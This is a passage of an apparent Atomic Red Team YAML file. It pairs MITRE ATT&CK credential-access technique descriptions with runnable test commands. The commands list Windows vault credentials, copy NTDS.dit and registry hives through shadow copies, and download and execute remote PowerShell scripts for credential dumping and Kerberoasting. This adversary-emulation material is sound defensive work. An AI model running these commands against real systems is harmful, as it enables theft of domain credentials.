        url: https://attack.mitre.org/techniques/T1555/004
        external_id: T1555.004
      - source_name: Malwarebytes The Windows Vault
        description: Arntz, P. (2016, March 30). The Windows Vault . Retrieved November
          23, 2020.
        url: https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/
      - source_name: Delpy Mimikatz Crendential Manager
        description: Delpy, B. (2017, December 12). howto ~ credential manager saved
          credentials. Retrieved November 23, 2020.
        url: https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials
      - source_name: Microsoft Credential Locker
        description: Microsoft. (2013, October 23). Credential Locker Overview. Retrieved
          November 24, 2020.
        url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/jj554668(v=ws.11)?redirectedfrom=MSDN
      - source_name: Microsoft Credential Manager store
        description: Microsoft. (2016, August 31). Cached and Stored Credentials Technical
          Overview. Retrieved November 24, 2020.
        url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11)#credential-manager-store
      - source_name: Microsoft CredEnumerate
        description: Microsoft. (2018, December 5). CredEnumarateA function (wincred.h).
          Retrieved November 24, 2020.
        url: https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credenumeratea
      - source_name: passcape Windows Vault
        description: Passcape. (n.d.). Windows Password Recovery - Vault Explorer
          and Decoder. Retrieved November 24, 2020.
        url: https://www.passcape.com/windows_password_recovery_vault_explorer
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1555.004
    atomic_tests:
    - name: Access Saved Credentials via VaultCmd
      auto_generated_guid: 9c2dd36d-5c8b-4b29-8d72-a11b0d5d7439
      description: |
        List credentials currently stored in Windows Credential Manager via the native Windows utility vaultcmd.exe
        Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos
        https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/
        https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16
      supported_platforms:
      - windows
      executor:
        name: command_prompt
        elevation_required: false
        command: 'vaultcmd /listcreds:"Windows Credentials"

          '
    - name: WinPwn - Loot local Credentials - Invoke-WCMDump
      auto_generated_guid: fa714db1-63dd-479e-a58e-7b2b52ca5997
      description: Loot local Credentials - Invoke-WCMDump technique via function
        of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/obfuscatedps/DumpWCM.ps1')
          Invoke-WCMDump
        name: powershell
  T1556.001:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605
      type: attack-pattern
      created: '2020-02-11T19:05:02.399Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1556.001
        url: https://attack.mitre.org/techniques/T1556/001
      - source_name: Dell Skeleton
        description: Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis.
          Retrieved April 8, 2019.
        url: https://www.secureworks.com/research/skeleton-key-malware-analysis
      - url: https://technet.microsoft.com/en-us/library/dn487457.aspx
        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
          June 3, 2016.
        source_name: TechNet Audit Policy
      modified: '2022-04-25T14:00:00.188Z'
      name: Domain Controller Authentication
      description: "Adversaries may patch the authentication process on a domain controller
        to bypass the typical authentication mechanisms and enable access to accounts.
        \n\nMalware may be used to inject false credentials into the authentication
        process on a domain controller with the intent of creating a backdoor used
        to access any user’s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)).
        Skeleton key works through a patch on an enterprise domain controller authentication
        process (LSASS) with credentials that adversaries may use to bypass the standard
        authentication system. Once patched, an adversary can use the injected password
        to successfully authenticate as any domain user account (until the the skeleton
        key is erased from memory by a reboot of the domain controller). Authenticated
        access may enable unfettered access to hosts and/or resources within single-factor
        authentication environments.(Citation: Dell Skeleton)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: "Monitor for calls to <code>OpenProcess</code> that can be
        used to manipulate lsass.exe running on a domain controller as well as for
        malicious modifications to functions exported from authentication-related
        system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)\n\nConfigure
        robust, consistent account activity audit policies across the enterprise and
        with externally accessible services.(Citation: TechNet Audit Policy) Look
        for suspicious account behavior across systems that share accounts, either
        user, admin, or service accounts. Examples: one account logged into multiple
        systems simultaneously; multiple accounts logged into the same machine simultaneously;
        accounts logged in at odd times or outside of business hours. Activity may
        be from interactive login sessions or process ownership from accounts being
        used to execute binaries on a remote system as a particular account. Correlate
        other security systems with login information (e.g. a user has an active login
        session but has not entered the building or does not have VPN access). "
      x_mitre_is_subtechnique: true
      x_mitre_version: '2.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'Process: Process Access'
      - 'File: File Modification'
      - 'Process: OS API Execution'
      x_mitre_permissions_required:
      - Administrator
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1556.005:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--d50955c2-272d-4ac8-95da-10c29dda1c48
      type: attack-pattern
      created: '2022-01-13T20:02:28.349Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1556.005
        url: https://attack.mitre.org/techniques/T1556/005
      - source_name: store_pwd_rev_enc
        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption
        description: Microsoft. (2021, October 28). Store passwords using reversible
          encryption. Retrieved January 3, 2022.
      - source_name: how_pwd_rev_enc_1
        url: http://blog.teusink.net/2009/08/passwords-stored-using-reversible.html
        description: 'Teusink, N. (2009, August 25). Passwords stored using reversible
          encryption: how it works (part 1). Retrieved November 17, 2021.'
      - source_name: how_pwd_rev_enc_2
        url: http://blog.teusink.net/2009/08/passwords-stored-using-reversible_26.html
        description: 'Teusink, N. (2009, August 26). Passwords stored using reversible
          encryption: how it works (part 2). Retrieved November 17, 2021.'
      - source_name: dump_pwd_dcsync
        url: https://adsecurity.org/?p=2053
        description: Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for
          All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021.
      modified: '2022-05-11T14:00:00.188Z'
      name: Reversible Encryption
      description: |-
        An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The <code>AllowReversiblePasswordEncryption</code> property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)

        If the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:

        1. Encrypted password (<code>G$RADIUSCHAP</code>) from the Active Directory user-structure <code>userParameters</code>
        2. 16 byte randomly-generated value (<code>G$RADIUSCHAPKEY</code>) also from <code>userParameters</code>
        3. Global LSA secret (<code>G$MSRADIUSCHAPKEY</code>)
        4. Static key hardcoded in the Remote Access Subauthentication DLL (<code>RASSFM.DLL</code>)

        With this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)

        An adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to "Windows Server 2008" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to <code>Set-ADUser -AllowReversiblePasswordEncryption $true</code>.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: "Monitor property changes in Group Policy: <code>Computer
        Configuration\\Windows Settings\\Security Settings\\Account Policies\\Password
        Policy\\Store passwords using reversible encryption</code>. By default, the
        property should be set to Disabled.\n\nMonitor command-line usage for <code>-AllowReversiblePasswordEncryption
        $true</code> or other actions that could be related to malicious tampering
        of user settings (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)).
        Furthermore, consider monitoring and/or blocking suspicious execution of Active
        Directory PowerShell modules, such as <code>Set-ADUser</code> and <code>Set-ADAccountControl</code>,
        that change account configurations. \n\nMonitor Fine-Grained Password Policies
        and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)"
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Active Directory: Active Directory Object Modification'
      - 'Command: Command Execution'
      - 'User Account: User Account Metadata'
      - 'Script: Script Execution'
      x_mitre_permissions_required:
      - User
      - Administrator
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1111:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Multi-Factor Authentication Interception
      description: "Adversaries may target multi-factor authentication (MFA) mechanisms,
        (i.e., smart cards, token generators, etc.) to gain access to credentials
        that can be used to access systems, services, and network resources. Use of
        MFA is recommended and provides a higher level of security than usernames
        and passwords alone, but organizations should be aware of techniques that
        could be used to intercept and bypass these security mechanisms. \n\nIf a
        smart card is used for multi-factor authentication, then a keylogger will
        need to be used to obtain the password associated with a smart card during
        normal use. With both an inserted card and access to the smart card password,
        an adversary can connect to a network resource using the infected system to
        proxy the authentication with the inserted hardware token. (Citation: Mandiant
        M Trends 2011)\n\nAdversaries may also employ a keylogger to similarly target
        other hardware tokens, such as RSA SecurID. Capturing token input (including
        a user's personal identification code) may provide temporary access (i.e.
        replay the one-time passcode until the next value rollover) as well as possibly
        enabling adversaries to reliably predict future authentication values (given
        access to both the algorithm and any seed values used to generate appended
        temporary codes). (Citation: GCN RSA June 2011)\n\nOther methods of MFA may
        be intercepted and used by an adversary to authenticate. It is common for
        one-time codes to be sent via out-of-band communications (email, SMS). If
        the device and/or service is not secured, then it may be vulnerable to interception.
        Service providers can also be targeted: for example, an adversary may compromise
        an SMS messaging service in order to steal MFA codes sent to users’ phones.(Citation:
        Okta Scatter Swine 2022)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_contributors:
      - John Lambert, Microsoft Threat Intelligence Center
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.

        Similar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver, setting a hook, or usage of particular API calls associated with polling to intercept keystrokes.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      x_mitre_version: '2.1'
      x_mitre_data_sources:
      - 'Driver: Driver Load'
      - 'Process: OS API Execution'
      - 'Windows Registry: Windows Registry Key Modification'
      type: attack-pattern
      id: attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49
      created: '2017-05-31T21:31:23.195Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1111
        external_id: T1111
      - source_name: GCN RSA June 2011
        description: Jackson, William. (2011, June 7). RSA confirms its tokens used
          in Lockheed hack. Retrieved September 24, 2018.
        url: https://gcn.com/cybersecurity/2011/06/rsa-confirms-its-tokens-used-in-lockheed-hack/282818/
      - source_name: Mandiant M Trends 2011
        description: Mandiant. (2011, January 27). Mandiant M-Trends 2011. Retrieved
          January 10, 2016.
        url: https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf
      - source_name: Okta Scatter Swine 2022
        description: 'Okta. (2022, August 25). Detecting Scatter Swine: Insights into
          a Relentless Phishing Campaign. Retrieved February 24, 2023.'
        url: https://sec.okta.com/scatterswine
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1003.003:
    technique:
      modified: '2023-07-28T14:41:38.908Z'
      name: 'OS Credential Dumping: NTDS'
      description: |
        Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in <code>%SystemRoot%\NTDS\Ntds.dit</code> of a domain controller.(Citation: Wikipedia Active Directory)

        In addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information.(Citation: Metcalf 2015)

        The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.

        * Volume Shadow Copy
        * secretsdump.py
        * Using the in-built Windows tool, ntdsutil.exe
        * Invoke-NinjaCopy
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_contributors:
      - Ed Williams, Trustwave, SpiderLabs
      x_mitre_deprecated: false
      x_mitre_detection: Monitor processes and command-line arguments for program
        execution that may be indicative of credential dumping, especially attempts
        to access or copy the NTDS.dit.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Access'
      x_mitre_system_requirements:
      - Access to Domain Controller or backup
      type: attack-pattern
      id: attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24
      created: '2020-02-11T18:42:35.572Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1003/003
        external_id: T1003.003
      - source_name: Metcalf 2015
        description: Metcalf, S. (2015, January 19). Attackers Can Now Use Mimikatz
          to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory
          Forest. Retrieved February 3, 2015.
        url: http://adsecurity.org/?p=1275
      - source_name: Wikipedia Active Directory
        description: Wikipedia. (2018, March 10). Active Directory. Retrieved April
          11, 2018.
        url: https://en.wikipedia.org/wiki/Active_Directory
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1003.003
    atomic_tests:
    - name: Create Volume Shadow Copy with vssadmin
      auto_generated_guid: dcebead7-6c28-4b4b-bf3c-79deb1b1fc7f
      description: |
        This test is intended to be run on a domain Controller.

        The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.
      supported_platforms:
      - windows
      input_arguments:
        drive_letter:
          description: Drive letter to source VSC (including colon)
          type: string
          default: 'C:'
      dependencies:
      - description: 'Target must be a Domain Controller

          '
        prereq_command: 'reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions  /v
          ProductType | findstr LanmanNT

          '
        get_prereq_command: 'echo Sorry, Promoting this machine to a Domain Controller
          must be done manually

          '
      executor:
        command: 'vssadmin.exe create shadow /for=#{drive_letter}

          '
        name: command_prompt
        elevation_required: true
    - name: Copy NTDS.dit from Volume Shadow Copy
      auto_generated_guid: c6237146-9ea6-4711-85c9-c56d263a6b03
      description: |
        This test is intended to be run on a domain Controller.

        The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.

        This test requires steps taken in the test "Create Volume Shadow Copy with vssadmin".
        A successful test also requires the export of the SYSTEM Registry hive.
        This test must be executed on a Windows Domain Controller.
      supported_platforms:
      - windows
      input_arguments:
        vsc_name:
          description: Name of Volume Shadow Copy
          type: string
          default: "\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1"
        extract_path:
          description: Path for extracted NTDS.dit
          type: path
          default: C:\Windows\Temp
      dependencies:
      - description: 'Target must be a Domain Controller

          '
        prereq_command: 'reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions  /v
          ProductType | findstr LanmanNT

          '
        get_prereq_command: 'echo Sorry, Promoting this machine to a Domain Controller
          must be done manually

          '
      - description: 'Volume shadow copy must exist

          '
        prereq_command: 'if not exist #{vsc_name} (exit /b 1)

          '
        get_prereq_command: 'echo Run "Invoke-AtomicTest T1003.003 -TestName ''Create
          Volume Shadow Copy with vssadmin''" to fulfill this requirement

          '
      - description: 'Extract path must exist

          '
        prereq_command: 'if not exist #{extract_path} (exit /b 1)

          '
        get_prereq_command: 'mkdir #{extract_path}

          '
      executor:
        command: |
          copy #{vsc_name}\Windows\NTDS\NTDS.dit #{extract_path}\ntds.dit
          copy #{vsc_name}\Windows\System32\config\SYSTEM #{extract_path}\VSC_SYSTEM_HIVE
          reg save HKLM\SYSTEM #{extract_path}\SYSTEM_HIVE
        cleanup_command: |
          del "#{extract_path}\ntds.dit"        >nul 2> nul
          del "#{extract_path}\VSC_SYSTEM_HIVE" >nul 2> nul
          del "#{extract_path}\SYSTEM_HIVE"     >nul 2> nul
        name: command_prompt
        elevation_required: true
    - name: Dump Active Directory Database with NTDSUtil
      auto_generated_guid: 2364e33d-ceab-4641-8468-bfb1d7cc2723
      description: |
        This test is intended to be run on a domain Controller.

        The Active Directory database NTDS.dit may be dumped using NTDSUtil for offline credential theft attacks. This capability
        uses the "IFM" or "Install From Media" backup functionality that allows Active Directory restoration or installation of
        subsequent domain controllers without the need of network-based replication.

        Upon successful completion, you will find a copy of the ntds.dit file in the C:\Windows\Temp directory.
      supported_platforms:
      - windows
      input_arguments:
        output_folder:
          description: Path where resulting dump should be placed
          type: path
          default: C:\Windows\Temp\ntds_T1003
      dependencies:
      - description: 'Target must be a Domain Controller

          '
        prereq_command: 'reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions  /v
          ProductType | findstr LanmanNT

          '
        get_prereq_command: 'echo Sorry, Promoting this machine to a Domain Controller
          must be done manually

          '
      executor:
        command: |
          mkdir #{output_folder}
          ntdsutil "ac i ntds" "ifm" "create full #{output_folder}" q q
        cleanup_command: 'rmdir /q /s #{output_folder} >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Create Volume Shadow Copy with WMI
      auto_generated_guid: 224f7de0-8f0a-4a94-b5d8-989b036c86da
      description: |
        This test is intended to be run on a domain Controller.

        The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.
      supported_platforms:
      - windows
      input_arguments:
        drive_letter:
          description: Drive letter to source VSC (including colon and backslash)
          type: string
          default: C:\
      dependencies:
      - description: 'Target must be a Domain Controller

          '
        prereq_command: 'reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions  /v
          ProductType | findstr LanmanNT

          '
        get_prereq_command: 'echo Sorry, Promoting this machine to a Domain Controller
          must be done manually

          '
      executor:
        command: 'wmic shadowcopy call create Volume=#{drive_letter}

          '
        name: command_prompt
        elevation_required: true
    - name: Create Volume Shadow Copy remotely with WMI
      auto_generated_guid: d893459f-71f0-484d-9808-ec83b2b64226
      description: |
        This test is intended to be run from a remote workstation with domain admin context.
        The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.
      supported_platforms:
      - windows
      input_arguments:
        drive_letter:
          description: Drive letter to source VSC (including colon and backslash)
          type: string
          default: C:\
        target_host:
          description: IP Address / Hostname you want to target
          type: string
          default: localhost
      dependencies:
      - description: 'Target must be a reachable Domain Controller, and current context
          must be domain admin

          '
        prereq_command: 'wmic /node:"#{target_host}" shadowcopy list brief

          '
        get_prereq_command: 'echo Sorry, can''t connect to target host, check: network,
          firewall or permissions (must be admin on target)

          '
      executor:
        command: 'wmic /node:"#{target_host}" shadowcopy call create Volume=#{drive_letter}

          '
        name: command_prompt
        elevation_required: true
    - name: Create Volume Shadow Copy remotely (WMI) with esentutl
      auto_generated_guid: 21c7bf80-3e8b-40fa-8f9d-f5b194ff2865
      description: |
        This test is intended to be run from a remote workstation with domain admin context.
        The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy created with esentutl.
      supported_platforms:
      - windows
      input_arguments:
        source_path:
          description: File to shadow copy
          type: string
          default: c:\windows\ntds\ntds.dit
        target_path:
          description: Target path of the result file
          type: string
          default: c:\ntds.dit
        target_host:
          description: IP Address / Hostname you want to target
          type: string
          default: localhost
      dependencies:
      - description: 'Target must be a reachable Domain Controller, and current context
          must be domain admin

          '
        prereq_command: 'wmic /node:"#{target_host}" shadowcopy list brief

          '
        get_prereq_command: 'echo Sorry, can''t connect to target host, check: network,
          firewall or permissions (must be admin on target)

          '
      executor:
        command: 'wmic /node:"#{target_host}" process call create "cmd.exe /c esentutl.exe
          /y /vss #{source_path} /d #{target_path}"

          '
        name: command_prompt
        elevation_required: true
    - name: Create Volume Shadow Copy with Powershell
      auto_generated_guid: 542bb97e-da53-436b-8e43-e0a7d31a6c24
      description: |
        This test is intended to be run on a domain Controller.

        The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.
      supported_platforms:
      - windows
      input_arguments:
        drive_letter:
          description: Drive letter to source VSC (including colon)
          type: string
          default: C:\
      executor:
        command: "(gwmi -list win32_shadowcopy).Create('#{drive_letter}','ClientAccessible')\n"
        name: powershell
        elevation_required: true
    - name: Create Symlink to Volume Shadow Copy
      auto_generated_guid: 21748c28-2793-4284-9e07-d6d028b66702
      description: |
        This test is intended to be run on a domain Controller.

        The Active Directory database NTDS.dit may be dumped by creating a symlink to Volume Shadow Copy.
      supported_platforms:
      - windows
      input_arguments:
        drive_letter:
          description: Drive letter to source VSC (including colon)
          type: string
          default: 'C:'
        symlink_path:
          description: symlink path
          type: string
          default: C:\Temp\vssstore
      executor:
        command: |
          vssadmin.exe create shadow /for=#{drive_letter}
          mklink /D #{symlink_path} \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
        name: command_prompt
        elevation_required: true
    - name: Create Volume Shadow Copy with diskshadow
      auto_generated_guid: b385996c-0e7d-4e27-95a4-aca046b119a7
      description: |
        This test is intended to be run on a domain controller
        An alternative to using vssadmin to create a Volume Shadow Copy for extracting ntds.dit
      supported_platforms:
      - windows
      input_arguments:
        filename:
          description: Location of the script
          type: Path
          default: PathToAtomicsFolder\T1003.003\src\diskshadow.txt
      executor:
        command: |
          mkdir c:\exfil
          diskshadow.exe /s #{filename}
        name: command_prompt
        elevation_required: true
  T1558.003:
    technique:
      modified: '2023-03-30T21:01:46.538Z'
      name: 'Steal or Forge Kerberos Tickets: Kerberoasting'
      description: "Adversaries may abuse a valid Kerberos ticket-granting ticket
        (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket
        that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation:
        Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec
        2015) \n\nService principal names (SPNs) are used to uniquely identify each
        instance of a Windows service. To enable authentication, Kerberos requires
        that SPNs be associated with at least one service logon account (an account
        specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting
        Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation:
        SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries
        possessing a valid Kerberos ticket-granting ticket (TGT) may request one or
        more Kerberos ticket-granting service (TGS) service tickets for any SPN from
        a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation:
        AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted
        with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the
        service account associated with the SPN is used as the private key and is
        thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110)
        attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking
        Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation:
        Harmj0y Kerberoast Nov 2016)\n\nThis same behavior could be executed using
        service tickets captured from network traffic.(Citation: AdSecurity Cracking
        Kerberos Dec 2015)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003),
        [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral
        Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation:
        SANS Attacking Kerberos Nov 2014)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_contributors:
      - Praetorian
      x_mitre_detection: 'Enable Audit Kerberos Service Ticket Operations to log Kerberos
        TGS service ticket requests. Particularly investigate irregular patterns of
        activity (ex: accounts making numerous requests, Event ID 4769, within a small
        time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation:
        Microsoft Detecting Kerberoasting Feb 2018)(Citation: AdSecurity Cracking
        Kerberos Dec 2015)'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Active Directory: Active Directory Credential Request'
      x_mitre_system_requirements:
      - Valid domain account or the ability to sniff traffic within a domain
      type: attack-pattern
      id: attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee
      created: '2020-02-11T18:43:38.588Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1558/003
        external_id: T1558.003
      - source_name: Empire InvokeKerberoast Oct 2016
        description: EmpireProject. (2016, October 31). Invoke-Kerberoast.ps1. Retrieved
          March 22, 2018.
        url: https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1
      - source_name: AdSecurity Cracking Kerberos Dec 2015
        description: Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets
          Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory
          Domain. Retrieved March 22, 2018.
        url: https://adsecurity.org/?p=2293
      - source_name: Microsoft Detecting Kerberoasting Feb 2018
        description: Bani, M. (2018, February 23). Detecting Kerberoasting activity
          using Azure Security Center. Retrieved March 23, 2018.
        url: https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/
      - source_name: Microsoft SPN
        description: Microsoft. (n.d.). Service Principal Names. Retrieved March 22,
          2018.
        url: https://msdn.microsoft.com/library/ms677949.aspx
      - source_name: Microsoft SetSPN
        description: Microsoft. (2010, April 13). Service Principal Names (SPNs) SetSPN
          Syntax (Setspn.exe). Retrieved March 22, 2018.
        url: https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx
      - source_name: SANS Attacking Kerberos Nov 2014
        description: Medin, T. (2014, November). Attacking Kerberos - Kicking the
          Guard Dog of Hades. Retrieved March 22, 2018.
        url: https://redsiege.com/kerberoast-slides
      - source_name: Harmj0y Kerberoast Nov 2016
        description: Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz.
          Retrieved March 23, 2018.
        url: https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      spec_version: '2.1'
      identifier: T1558.003
    atomic_tests:
    - name: Request for service tickets
      auto_generated_guid: 3f987809-3681-43c8-bcd8-b3ff3a28533a
      description: "This test uses the Powershell Empire Module: Invoke-Kerberoast.ps1\nThe
        following are further sources and credits for this attack:\n[Kerberoasting
        Without Mimikatz source] (https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/)\n[Invoke-Kerberoast
        source] (https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/)\nwhen
        executed successfully , the test displays available services with their hashes.
        \nIf the testing domain doesn't have any service principal name configured,
        there is no output\n"
      supported_platforms:
      - windows
      dependencies:
      - description: 'Computer must be domain joined

          '
        prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain)
          {exit 0} else {exit 1}

          '
        get_prereq_command: 'Write-Host Joining this computer to a domain must be
          done manually

          '
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          iex(iwr https://raw.githubusercontent.com/EmpireProject/Empire/08cbd274bef78243d7a8ed6443b8364acd1fc48b/data/module_source/credentials/Invoke-Kerberoast.ps1 -UseBasicParsing)
          Invoke-Kerberoast | fl
        name: powershell
    - name: Rubeus kerberoast
